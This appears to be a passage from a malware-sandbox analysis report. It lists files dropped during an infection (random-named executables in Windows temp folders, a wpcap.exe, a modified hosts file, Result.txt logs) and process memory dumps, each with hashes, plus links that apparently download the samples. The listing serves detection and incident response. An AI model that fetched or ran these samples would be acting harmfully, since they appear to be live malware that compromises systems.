a8b5b1ca963ce5861907296b41bba207e4d51595731ba73e7287c0d1c68e59c4e104fbb44804dbbf3dbb34736ab7fe1b743b3d3e240f8ac9089f4eb754e1c1d3

Download Submit
C:\Windows\TEMP\itcctjlje\3972.dmp

Filesize
4.8MB

MD5
9ae84f9e568515564669dc969bf74ce3

SHA1
1af0bbda039dfdcd3a8848a0ff711e5ae23ebe26

SHA256
eecdbed6633aa4b12be1698a33498f72f03655962e6e45344af2aec673532c38

SHA512
4712b03899a6373f8df5b4a6dee91ea7be003a798ffb12400da5e3603370f8b373d6a8b1308bcb0403c8c5a10bbe15a435851173df855268baaf44100e7df663

Download Submit
C:\Windows\TEMP\itcctjlje\4056.dmp

Filesize
45.8MB

MD5
70e832da4a54db206edbb6c534d5c970

SHA1
6dcef57e70f39c8aacc369407ab565579d29fa93

SHA256
d0b8021cc846e1542e1acc60865bd891ada5a52c2cd1c537880bf1b645ec8b0f

SHA512
71cbc79bb32b70020335d78daa29f545af9e16ff10d31ce9c80a7260e147bf675b87cb1b6b23cec4b3bdfd5384018c0c0d07b9a2ae68145e4a12ab9fd3daf9d0

Download Submit
C:\Windows\TEMP\itcctjlje\4212.dmp

Filesize
1.2MB

MD5
469f996e528c9a63cc8db2a48cae8dc0

SHA1
884cd54d4d22029a6aad4aa43f0655a4f9b96626

SHA256
370615468e71d84ae77505141d27d262536c739d58c5e773c839119ae2180a92

SHA512
684c4a54579cb25abd4181a2708d9c5ce6d99f01a100ce7c0bf211555196b6595cc8b0fe112dcfdc447c1c75c118c67424fee3c90b61eaf3e9c677170036d410

Download Submit
C:\Windows\TEMP\itcctjlje\740.dmp

Filesize
2.9MB

MD5
8ee2677bbbda7ff5c82843fc0d5f4386

SHA1
6ad9999d59760b7e6a56586f3291b19a4a36467f

SHA256
d4ea973e4b3583173422325216712f24efa61c38b5f081aa54228f656206f6a5

SHA512
9d6478d95ca2858f96125d8e4b194075ff99dbf975a8641041fe864dce2ff277ea356f3ea546b2d96d05476af4a04577b6d8daf9db81f7efec8dedf287aefddf

Download Submit
C:\Windows\TEMP\itcctjlje\780.dmp

Filesize
1019KB

MD5
429b3da2ca4aae32618102d535a2f587

SHA1
72e5adcc2e178e9a4b1ab6e91d22fa3a446452f6

SHA256
40d36ba4981035134be7546db9131c96c298491f28e12c989c988a4604391c31

SHA512
761a278cf5913b62aee3bb35ce840a128fc45fb8cfe8e1e9802ac444a437ec49ee7ac866c23e29be75575845e5a8b152f3dd0abbf3d152cc51abef772e2804c9

Download Submit
C:\Windows\Temp\dvfzrticv\lfbpkn.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
C:\Windows\Temp\itcctjlje\cmzbnyytn.exe

Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

SHA512
df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

Download Submit
C:\Windows\Temp\nshFEF3.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nshFEF3.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
C:\Windows\Temp\xohudmc.exe

Filesize
72KB

MD5
cbefa7108d0cf4186cdf3a82d6db80cd

SHA1
73aeaf73ddd694f99ccbcff13bd788bb77f223db

SHA256
7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

SHA512
b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

Download Submit
C:\Windows\cbdnbivt\tmyfwky.exe

Filesize
10.0MB

MD5
c7018881ffffe46bcf10978857213b55

SHA1
acb5b411fc83c8aba87ec8b70eca9b892bf6e2f9

SHA256
221c899c64d992a73fc328313e68e0e4aebe410a3a1e6e1233c8eb2fad368840

SHA512
a8f0d0f7e589a18228ea5cff518d6f3539a98c90a35b97741b139e928b3ef9a04d8d78bd176c69f3782a9c58667b11c16352951aed12811a741c0d210a31c08c

Download Submit
C:\Windows\itcctjlje\Corporate\vfshost.exe

Filesize
381KB

MD5
fd5efccde59e94eec8bb2735aa577b2b

SHA1
51aaa248dc819d37f8b8e3213c5bdafc321a8412

SHA256
441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

SHA512
74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

Download Submit
C:\Windows\itcctjlje\unptrtjvi\Result.txt

Filesize
558B

MD5
a010164c376047bd4a3a352f07f2c889

SHA1
f8d42ee76db946efddbdf758b146cc89c63b7b61

SHA256
cdcce8feb8f9631901b1ae2f67e15086cc3a85c3c242fb05f0395cf0edab2ff0

SHA512
91b635dfff76101ad5b168f5a68f19ba355e106f3cca4df503c87e05656f643b131939a8633d9dcf3ba48e19cbdb3e74002f2acd27dee91bb45667f58ff8872c

Download Submit
C:\Windows\itcctjlje\unptrtjvi\Result.txt

Filesize
1KB

MD5
8a9b55cde1bd26b7c1b2266fbc21f84a

SHA1
db4effed6caba100db4a32bad13e9b614f7ed967

SHA256
ace779b0a33b1a4fc0d5e2895d2eeb9270b4bc82498c2995879f60362b5c7b45

SHA512
22558152663c90e319a2e41799a47c439051efa54c6fe14728a5279f8cc07d762daf03074a6252c544baffc71c34c8ab0e1850fef75e5f6634afc53d70e02238

Download Submit
C:\Windows\itcctjlje\unptrtjvi\Result.txt

Filesize
1KB

MD5
cbc1fdf090439ba37a614dd6b9790de1

SHA1
3aecd5dfc39c72e1af0b035486df932eb0860273

SHA256
61203516bbaf8016f3101a9350de8e055f132315f42b1011040f9343d27e0565

SHA512
495c689344d6c23b5ae6a5224a2514a286f3e32e03cb413218f525726946689206bcc235d04542156cd81cdf01d0cf45cba64591855517e0426434d2494c7100

Download Submit
C:\Windows\itcctjlje\unptrtjvi\bzbnzbyct.exe

Filesize
332KB

MD5
ea774c81fe7b5d9708caa278cf3f3c68

SHA1
fc09f3b838289271a0e744412f5f6f3d9cf26cee

SHA256
4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

SHA512
7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

Download Submit
C:\Windows\itcctjlje\unptrtjvi\wpcap.exe

Filesize
424KB

MD5
e9c001647c67e12666f27f9984778ad6

SHA1
51961af0a52a2cc3ff2c4149f8d7011490051977

SHA256
7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

SHA512
56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
1KB

MD5
c838e174298c403c2bbdf3cb4bdbb597

SHA1
70eeb7dfad9488f14351415800e67454e2b4b95b

SHA256
1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53

SHA512
c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376

Download Submit
memory/1236-165-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp

Filesize
1.1MB

Download
memory/1236-232-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp

Filesize
1.1MB

Download
memory/1236-258-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp

Filesize
1.1MB

Download
memory/1236-362-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp

Filesize
1.1MB

Download
memory/1236-221-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp

Filesize
1.1MB

Download
memory/1236-363-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp

Filesize
1.1MB

Download
memory/1236-213-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp

Filesize
1.1MB

Download
memory/1236-181-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp

Filesize
1.1MB

Download
memory/1236-268-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp

Filesize
1.1MB

Download
memory/1236-365-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp

Filesize
1.1MB

Download
memory/1236-200-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp

Filesize
1.1MB

Download
memory/1236-250-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp

Filesize
1.1MB

Download
memory/1236-182-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp

Filesize
1.1MB

Download
memory/1236-168-0x000001F907DF0000-0x000001F907E00000-memory.dmp

Filesize
64KB

Download
memory/1356-234-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp

Filesize
364KB

Download
memory/2056-185-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp

Filesize
364KB

Download
memory/2108-202-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp

Filesize
364KB

Download
memory/2476-238-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp

Filesize
364KB

Download
memory/2704-189-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp

Filesize
364KB

Download
memory/3144-248-0x0000000000610000-0x0000000000622000-memory.dmp

Filesize
72KB

Download
memory/3316-215-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp

Filesize
364KB

Download
memory/3340-231-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp

Filesize
364KB

Download
memory/3352-236-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp

Filesize
364KB

Download
memory/3556-179-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp

Filesize
364KB

Download
memory/3716-197-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp

Filesize
364KB

Download
memory/3716-78-0x0000000001480000-0x00000000014CC000-memory.dmp

Filesize
304KB

Download
memory/4036-4-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/4036-0-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/4052-175-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp

Filesize
364KB

Download
memory/4128-135-0x00007FF686650000-0x00007FF68673E000-memory.dmp

Filesize
952KB

Download
memory/4128-138-0x00007FF686650000-0x00007FF68673E000-memory.dmp

Filesize
952KB

Download
memory/4492-193-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp

Filesize
364KB

Download
memory/4604-219-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp

Filesize
364KB

Download
memory/4668-210-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp

Filesize
364KB

Download
memory/4756-224-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp

Filesize
364KB

Download
memory/4792-228-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp

Filesize
364KB

Download
memory/4832-155-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp

Filesize
364KB

Download
memory/4832-142-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp

Filesize
364KB

Download
memory/4952-206-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp

Filesize
364KB

Download
memory/5016-162-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/5016-149-0x0000000010000000-0x0000000010008000-memory.dmp

Filesize
32KB

Download
memory/5056-8-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download